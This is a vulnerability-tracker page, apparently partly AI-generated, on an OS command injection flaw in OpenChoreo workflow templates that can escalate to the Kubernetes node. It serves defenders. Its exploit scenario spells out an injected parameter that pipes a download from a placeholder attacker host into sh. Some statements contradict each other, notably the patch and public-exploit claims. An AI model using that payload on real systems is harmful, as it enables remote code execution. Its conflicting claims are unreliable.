EUVD-2026-58544
GHSA-2mw5-23gm-pccq
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as low-privileged OpenChoreo developer
-
DeliveryCraft workflow parameter with embedded shell metacharacters
-
ExploitSubmit workflow job to Workflow Plane API
-
ExecutionTemplate engine interpolates payload into sh -c shell command
-
PersistArbitrary commands execute inside workflow pod
-
ImpactLeverage privileged Podman (missing hostUsers: false) to escalate to Kubernetes node
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated account with permission to submit workflow jobs to the OpenChoreo Workflow Plane (CVSS PR:L confirmed). The vulnerable code path is specific to the workflow-templates.yaml sample templates under samples/getting-started/ - deployments that do not use or have not applied these templates are not affected. The secondary privilege escalation path (via Podman host UID mapping) additionally requires that the affected Podman workflow templates were deployed without hostUsers: false. Exploitation is not possible without workflow submission credentials; anonymous or unauthenticated access is not sufficient. Deployments where workflow parameters are restricted to a fixed, operator-controlled set and not exposed to developer input are not exploitable. |
| Impact | The CVSS 8.8 score with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H accurately reflects that exploitation requires only low-privilege authenticated access (developer credentials) with no attack complexity. However, the S:U (unchanged scope) metric may understate real-world impact: the co-present privileged Podman misconfiguration (missing hostUsers: false) creates a realistic path to Kubernetes node compromise, which would justify S:C. This discrepancy between the NVD-assigned S:U and the described compound impact should be verified against the vendor advisory at GHSA-2mw5-23gm-pccq. No EPSS data was provided in the input; no KEV listing exists, and no public exploit has been identified, meaning exploitation probability is theoretical at this stage. Despite the absence of active exploitation signals, the low exploitation complexity (any authenticated developer can craft a malicious workflow parameter) makes this a genuine priority for organizations running OpenChoreo in multi-tenant or shared developer environments where not all workflow submitters are fully trusted. |
| Exploit ScenarioDerived | A developer with workflow submission access crafts a malicious value for the image-name workflow parameter - for example, legitimate-image; curl http://attacker.com/payload | sh - and submits a workflow job through the OpenChoreo platform. The Workflow Plane template interpolates this string directly into sh -c shell text, causing the shell to execute the injected command inside the workflow pod. Because the affected Podman templates lacked hostUsers: false, a sufficiently crafted payload could further leverage the privileged Podman configuration to escape the pod and interact with the underlying Kubernetes node. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 13, 2026
OS command injection in OpenChoreo's Workflow Plane templates allows authenticated developers to execute arbitrary shell commands inside workflow pods by supplying malicious workflow parameters. Affected versions prior to 1.0.4, 1.1.4, and 1.2.0-rc.2 directly interpolated user-controlled parameters such as image-name, image-tag, app-path, and build-env into sh -c shell text rather than passing them through container.env, a classic CWE-78 pattern. Compounding the injection risk, affected privileged Podman templates lacked the hostUsers: false isolation setting, creating a credible path from workflow pod compromise to Kubernetes node-level impact. No public exploit has been identified at time of analysis, but the fix commits confirm the vulnerability mechanism.
RemediationAI
Upgrade to OpenChoreo v1.0.4, v1.1.4, or v1.2.0-rc.2 as appropriate for your installed branch; all three releases are confirmed available at the GitHub releases page (https://github.com/openchoreo/openchoreo/releases). The upstream fix is delivered across four commits (017c3c6, 65c081f, b274127, fb2b659) and four pull requests (#4193, #4243, #4277, #4297), all addressing the same parameter interpolation pattern across multiple workflow template variants. If an immediate upgrade is not possible, a targeted workaround is to restrict workflow parameter submission to fully trusted operators only - this limits the blast radius because the injection requires attacker-controlled parameter values. Additionally, audit any deployed privileged Podman workflow templates and manually add hostUsers: false to container specs to prevent UID-mapping from container to host; this does not fix the injection but limits lateral movement if exploitation occurs. Do not expose the OpenChoreo Workflow Plane API to untrusted developer inputs without first applying the patch, as the injection path is low-complexity once parameter submission access is obtained.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
OpenChoreo is an open-source developer platform built on Kubernetes that uses Argo Workflow-style templating for its Workflow Plane. The vulnerable templates under samples/getting-started/workflow-templates/ constructed shell command strings by directly embedding Argo template expressions such as {{workflow.parameters.image-name}} and {{workflow.parameters.build-env}} into shell text executed via sh -c. This is a textbook CWE-78 (OS Command Injection) pattern: because the template engine performs string substitution before the shell parses the command, any workflow parameter containing shell metacharacters (semicolons, backticks, $(), pipes) is interpreted as shell syntax rather than data. The fix - confirmed in the commit diffs - moves all developer-supplied values into container.env entries and references them as $ENV_VAR shell variables, which the shell treats as opaque data rather than executable text. A secondary issue in the same templates is the absence of hostUsers: false in privileged Podman container configurations, which would otherwise prevent container UIDs from mapping to host UIDs and limit host-level impact if pod escape occurred.
Know when Kubernetes gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
PR:L confirmed by authenticated developer requirement; S:C assessed (not S:U) because missing hostUsers:false in privileged Podman enables host-level node impact beyond the vulnerable pod.
Primary rating from Vendor (github).
CVSS VectorVendor: github
Lifecycle Timeline
2DescriptionCVE.org
OpenChoreo is a complete, open-source developer platform for Kubernetes. Prior to 1.0.4, 1.1.4, and 1.2.0-rc.2, OpenChoreo Workflow Plane templates under samples/getting-started/workflow-templates/ interpolated developer-controlled workflow parameters into shell program text executed through sh -c instead of passing the values through container.env, allowing arbitrary commands to run in workflow pods while affected privileged Podman templates lacked hostUsers: false. This issue is fixed in versions 1.0.4, 1.1.4, and 1.2.0-rc.2.
Latest POC
1 public PoC link from github
Sign in to open the public PoC links collected for this CVE.
Executive ViewAI
OpenChoreo Workflow Plane templates prior to versions 1.0.4, 1.1.4, and 1.2.0-rc.2 contain OS command injection flaws allowing authenticated developers to execute arbitrary shell commands within workflow pods and potentially compromise Kubernetes nodes; no public exploit identified at time of analysis. Organizations using OpenChoreo for infrastructure automation face significant insider threat risk from compromised developer accounts gaining unauthorized access to container orchestration infrastructure. This vulnerability requires immediate remediation due to the credible path from pod compromise to node-level impact.
No vendor-released patch identified at time of analysis. Interim mitigations: restrict workflow definition capabilities to a minimal, trusted developer cohort via RBAC; disable all privileged Podman templates immediately; implement Pod Security Policies enforcing hostUsers: false and unprivileged container constraints; audit all workflow definitions for dangerous parameters; add parameter validation and sanitization layers at workflow submission; monitor workflow pod execution logs for exploitation indicators.
Threat Intelligence Overview
NVD
CVE.org
EPSS
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can
Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Exploit-DB